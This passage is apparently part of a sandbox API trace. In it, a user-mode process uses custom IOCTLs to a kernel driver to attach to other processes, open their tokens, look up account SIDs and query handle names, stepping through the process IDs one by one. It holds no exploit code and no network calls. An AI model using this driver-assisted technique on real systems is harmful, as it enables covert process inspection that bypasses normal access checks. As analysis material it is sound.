peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.744] CloseHandle (hObject=0xc8) returned 1 [0132.744] CloseHandle (hObject=0xc0) returned 1 [0132.744] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.744] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.744] PsAcquireProcessExitSynchronization () returned 0x0 [0132.744] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880050005d0) [0132.744] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fef070, HandleInformation=0x0) returned 0x0 [0132.744] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.744] PsReleaseProcessExitSynchronization () returned 0x2 [0132.744] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0132.744] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.744] ObfDereferenceObject (Object=0xfffffa8001fef070) returned 0x1 [0132.744] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.744] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.744] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0132.744] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.744] PsAcquireProcessExitSynchronization () returned 0x0 [0132.744] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880050005d0) [0132.744] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001ff3070, HandleInformation=0x0) returned 0x0 [0132.744] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.744] PsReleaseProcessExitSynchronization () returned 0x2 [0132.744] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0132.744] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.744] ObfDereferenceObject (Object=0xfffffa8001ff3070) returned 0x1 [0132.744] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.745] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.745] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.745] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.745] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.745] PsAcquireProcessExitSynchronization () returned 0x0 [0132.745] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880050005d0) [0132.745] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.745] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.745] PsReleaseProcessExitSynchronization () returned 0x2 [0132.745] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0132.745] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.745] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.745] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.745] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.745] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8b0) returned 0xc0 [0132.745] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.745] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001ffc3e0, HandleInformation=0x0) returned 0x0 [0132.745] ObOpenObjectByPointer (in: Object=0xfffffa8001ffc3e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.745] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x12 [0132.745] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.745] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.745] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.745] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.745] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.747] CloseHandle (hObject=0xc8) returned 1 [0132.747] CloseHandle (hObject=0xc0) returned 1 [0132.747] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.747] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.747] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.747] PsAcquireProcessExitSynchronization () returned 0x0 [0132.747] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880050005d0) [0132.747] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001ffcd10, HandleInformation=0x0) returned 0x0 [0132.747] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.747] PsReleaseProcessExitSynchronization () returned 0x2 [0132.747] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0132.747] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.747] ObfDereferenceObject (Object=0xfffffa8001ffcd10) returned 0x1 [0132.747] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.747] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.747] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.747] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0132.747] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.747] PsAcquireProcessExitSynchronization () returned 0x0 [0132.747] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880050005d0) [0132.747] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002000a20, HandleInformation=0x0) returned 0x0 [0132.748] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.748] PsReleaseProcessExitSynchronization () returned 0x2 [0132.748] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0132.748] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.748] ObfDereferenceObject (Object=0xfffffa8002000a20) returned 0x1 [0132.748] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.748] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.748] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.748] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.748] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.748] PsAcquireProcessExitSynchronization () returned 0x0 [0132.748] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880050005d0) [0132.748] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.748] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.748] PsReleaseProcessExitSynchronization () returned 0x2 [0132.748] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0132.748] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.748] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.748] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.748] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.748] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8c0) returned 0xc0 [0132.748] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.748] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800201cb30, HandleInformation=0x0) returned 0x0 [0132.748] ObOpenObjectByPointer (in: Object=0xfffffa800201cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.748] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x12 [0132.748] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.748] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.748] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.748] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.749] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.750] CloseHandle (hObject=0xc8) returned 1 [0132.750] CloseHandle (hObject=0xc0) returned 1 [0132.750] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.750] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.750] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.750] PsAcquireProcessExitSynchronization () returned 0x0 [0132.750] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880050005d0) [0132.750] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020147d0, HandleInformation=0x0) returned 0x0 [0132.750] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.750] PsReleaseProcessExitSynchronization () returned 0x2 [0132.750] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0132.750] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.750] ObfDereferenceObject (Object=0xfffffa80020147d0) returned 0x1 [0132.750] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.750] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.750] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.750] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0132.751] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.751] PsAcquireProcessExitSynchronization () returned 0x0 [0132.751] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880050005d0) [0132.751] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800201c200, HandleInformation=0x0) returned 0x0 [0132.751] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.751] PsReleaseProcessExitSynchronization () returned 0x2 [0132.751] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0132.751] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.751] ObfDereferenceObject (Object=0xfffffa800201c200) returned 0x1 [0132.751] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.751] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.751] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.751] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.751] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.751] PsAcquireProcessExitSynchronization () returned 0x0 [0132.751] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880050005d0) [0132.751] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.751] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.751] PsReleaseProcessExitSynchronization () returned 0x2 [0132.751] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0132.751] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.751] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.751] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.751] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.751] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8d0) returned 0xc0 [0132.751] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.751] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020273e0, HandleInformation=0x0) returned 0x0 [0132.751] ObOpenObjectByPointer (in: Object=0xfffffa80020273e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.751] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x12 [0132.751] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.751] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.751] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.752] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.752] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.753] CloseHandle (hObject=0xc8) returned 1 [0132.753] CloseHandle (hObject=0xc0) returned 1 [0132.753] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.753] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.753] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.753] PsAcquireProcessExitSynchronization () returned 0x0 [0132.753] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880050005d0) [0132.753] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002027d10, HandleInformation=0x0) returned 0x0 [0132.753] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.753] PsReleaseProcessExitSynchronization () returned 0x2 [0132.753] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0132.753] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.753] ObfDereferenceObject (Object=0xfffffa8002027d10) returned 0x1 [0132.753] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.753] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.753] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.753] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0132.754] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.754] PsAcquireProcessExitSynchronization () returned 0x0 [0132.754] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880050005d0) [0132.754] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002029130, HandleInformation=0x0) returned 0x0 [0132.754] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.754] PsReleaseProcessExitSynchronization () returned 0x2 [0132.754] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0132.754] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0132.754] ObfDereferenceObject (Object=0xfffffa8002029130) returned 0x1 [0132.754] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.754] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.754] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.754] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.754] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.754] 